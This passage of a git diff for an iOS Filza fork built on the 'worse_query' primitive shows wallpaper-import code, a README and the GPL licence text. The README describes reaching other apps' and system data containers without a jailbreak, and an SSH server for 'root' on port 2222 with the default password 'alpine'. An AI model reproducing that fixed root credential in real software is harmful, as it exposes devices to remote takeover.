handler:^(__unused UIAlertAction *action) { + [weakSelf showAlertWithTitle:@"Wallpaper Lab" + message:@"Cipher imports automatically on first launch. Other extracted .tendies packages can be placed in [MHA-C2] Wallpaper Lab/Imports. Container-style packages are rejected. Imports are capped at 10 descriptors and 256 MiB. The refresh preference is backed up for rollback; the PosterBoard database is not changed."]; + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + sheet.popoverPresentationController.barButtonItem = sender; + [presenter presentViewController:sheet animated:YES completion:nil]; +} + +@end + +void PBWallpaperFeatureStart(void) +{ + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *directory in @[PBWorkspace(), PBImportsDirectory(), PBBackupsDirectory(), + PBReportsDirectory()]) { + [manager createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + } + PBInstallBundledSamples(); + NSString *readme = [PBWorkspace() stringByAppendingPathComponent:@"README.txt"]; + NSString *text = @"Wallpaper Lab\n\n" + @"Primitive: MHA-MCM class 2 application-data lookup for com.apple.PosterBoard.\n" + @"This folder is local staging. PosterBoard access starts only during a Wallpaper Lab action.\n\n" + @"The bundled GPL-licensed Cipher wallpaper imports automatically on first launch.\n" + @"When CIPHER READY appears here, open Settings > Wallpaper.\n\n" + @"Other descriptor-style .tendies packages may be extracted into Imports.\n" + @"Only descriptor-style packages are supported. Container-style packages are rejected.\n" + @"Imports add new UUID directories and never overwrite the PosterBoard database or an existing descriptor.\n" + @"Nugget's refresh keys are merged into the preference file after an exact backup is saved.\n" + @"Rollback verifies SHA-256 hashes before restoring the preference and removing the descriptor.\n"; + [text writeToFile:readme atomically:YES encoding:NSUTF8StringEncoding error:nil]; + PBStartAutomaticCipherImport(); +} + +void PBWallpaperConfigureBrowser(UIViewController *controller, NSString *currentPath) +{ + if (!controller) return; + PBWallpaperFeatureController *feature = [PBWallpaperFeatureController sharedController]; + NSString *workspace = PBCanonicalPath(PBWorkspace()); + BOOL visible = [PBCanonicalPath(currentPath) isEqualToString:workspace]; + NSMutableArray *items = + [NSMutableArray arrayWithArray:controller.navigationItem.rightBarButtonItems ?: @[]]; + NSIndexSet *ours = [items indexesOfObjectsPassingTest: + ^BOOL(UIBarButtonItem *item, __unused NSUInteger index, __unused BOOL *stop) { + return item.tag == PBButtonTag; + }]; + [items removeObjectsAtIndexes:ours]; + if (visible) { + feature.presenter = controller; + UIBarButtonItem *button = [[UIBarButtonItem alloc] initWithTitle:@"Wallpaper" + style:UIBarButtonItemStylePlain target:feature action:@selector(showMenu:)]; + button.tag = PBButtonTag; + // Filza continuously restores its Edit item. At the lab root the + // wallpaper action replaces it; Edit returns in child directories. + [items removeAllObjects]; + [items addObject:button]; + NSLog(@"[WallpaperLab] installed navigation action class=%@ path=%@ canonical=%@", + NSStringFromClass(controller.class), currentPath, PBCanonicalPath(currentPath)); + } + controller.navigationItem.rightBarButtonItems = items; +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..0c76851 --- /dev/null +++ b/README.md @@ -0,0 +1,130 @@ +# Filza 27.2 — worse_query build + +Filza fork for iOS 26.0–26.7.2 and iOS 27.0–27.2, built around +[forcequitOS/worse_query](https://github.com/forcequitOS/worse_query). It runs +under a normal Apple signing identity and does not require a jailbreak or a +root helper. + +## Two builds + +| | Public | Developer | +|---|---|---| +| Bundle ID | `com.jbjf.filza` | `com.jbjf.filzanb` | +| Display name | `filza27.2` | `filza27.2` | +| Install together | yes | yes | +| worse_query browser | yes | yes | +| App data / App Groups browser | yes | yes | +| WebDAV server | yes | yes | +| `.deb` installer + apt/dpkg | yes | yes | +| Terminal | — | full a-Shell command set | +| SSH server | — | mobile / root, password `alpine`, port 2222 | +| `mount`, `extract`, archive support | terminal only | yes | +| `neofetch`, `respring` | — | yes | + +Release assets are named exactly: + +``` +filza_public.ipa +filza_develop.ipa +``` + +## Features + +- Per-container worse_query grants for app, extension, internal-daemon and + system-group data. +- Accessible roots, App Data (by app), App Data (UUID), App Groups and System + Data links saved as Filza favorites. +- Startup progress overlay; first launch indexes installed apps and container + families. +- Moves Filza's Trash into the app sandbox. +- In-process WebDAV server on port 11111 (fallback ports if busy). +- In-process dpkg/apt with support for `.deb` installation, `dpkg -l/-L/-s/-r`, + `apt update/list/search/show/install/remove`. +- Developer terminal command set excludes Python, Node.js and Lua/TeX, and + includes Perl, ImageMagick, FFmpeg, ripgrep, make and the rest of a-Shell. +- `mount` lists mounted filesystems. +- `extract`, `unzip`, `untar`, `un7z`, `unrar` extract zip, tar, tar.gz, gz, + bz2, xz, zst, 7z and rar through libarchive. +- `test.deb` (official Procursus `apt 2.9.4-1`) and an executable `test` script + are copied into `worse_query` on first launch. +- `respring` uses Erosion's WebKit pressure method. + +## Build + +Requirements: + +- macOS with Theos and iOS SDKs. +- An unsigned Filza base IPA at `base/FilzaSlop-v1.2.0-unsigned.ipa` + (or set `BASE_IPA`). +- A signing profile with at least one App Group. Set `WQ_APP_GROUPS` + (space-separated). +- For the developer build: an a-Shell IPA at `$HOME/Downloads/Terminal.ipa` + (or set `ASHELL_IPA`). + +Public: + +```sh +export WQ_APP_GROUPS="group.example.01" +export PROFILE="/path/to/profile.mobileprovision" +export ENTITLEMENTS="/path/to/entitlements.plist" +export SIGN_IDENTITY="Apple Distribution: ..." +export KEYCHAIN="$HOME/Library/Keychains/signing.keychain-db" +./scripts/build_public.sh +``` + +Developer: + +```sh +export ASHELL_IPA="$HOME/Downloads/Terminal.ipa" +./scripts/build_developer.sh +``` + +Both: + +```sh +./scripts/build_release.sh +# build/filza_public.ipa +# build/filza_develop.ipa +``` + +Without `SIGN_IDENTITY` the script produces an ad-hoc-signed IPA. Nested +Mach-O files and the app are signed in the same pass. + +## Terminal quick test + +```sh +cd "$(sbx_status | sed -n 's/^hub: //p')" +ls -l test test.deb +./test +mount +extract test.deb -C apt +extract sample.zip -C out +``` + +`./test` is a `#!/bin/dash` script; iOS does not allow executing Mach-O files +from the app data container, so scripts are run through the bundled `dash`. + +SSH (developer build): + +```sh +ssh -p 2222 mobile@DEVICE_IP # password: alpine +ssh -p 2222 root@DEVICE_IP # password: alpine +``` + +Sessions start in the `worse_query` hub. + +## Signing notes + +The app needs one App Group entitlement for worse_query. The public and +developer bundle IDs must match their provisioning profiles. The build script +removes Filza's `CFBundleURLTypes` and the bundled Sharing extension so the +single-App-ID profile can sign the app. + +## Credits + +- [0xjohnnydev/FilzaSlop](https://github.com/0xjohnnydev/FilzaSlop) +- [forcequitOS/worse_query](https://github.com/forcequitOS/worse_query) +- [a-Shell](https://github.com/holzschu/a-Shell) / ios_system +- [libssh](https://www.libssh.org/) +- [jailbreakdotparty/Erosion](https://github.com/jailbreakdotparty/Erosion) for + the WebKit respring method diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt b/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt b/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt new file mode 100644 index 0000000..2e054a9 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/SOURCE.txt @@ -0,0 +1,12 @@ +Cipher + +Author: @mightycooldude12 +Description: Decoding... +Collection: SerStars/nugget-wallpapers +Source: https://github.com/SerStars/nugget-wallpapers/blob/a153aedfc1f17275828b99a810269e13a0229969/wallpapers/custom/Cipher.tendies +Collection commit: a153aedfc1f17275828b99a810269e13a0229969 +Original Cipher.tendies SHA-256: 196a1b8ad6e6c08662d494af06789ebc65b67f00eb38149d70bae2258d0b6ae9 +License: GPL-3.0; see LICENSE-GPL-3.0.txt + +The bundled directory is a safety-normalized extraction of the original +archive. __MACOSX, AppleDouble, and .DS_Store metadata were omitted. diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier new file mode 100644 index 0000000..eb48838 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/com.apple.posterkit.provider.descriptor.identifier @@ -0,0 +1 @@ +7400 \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by 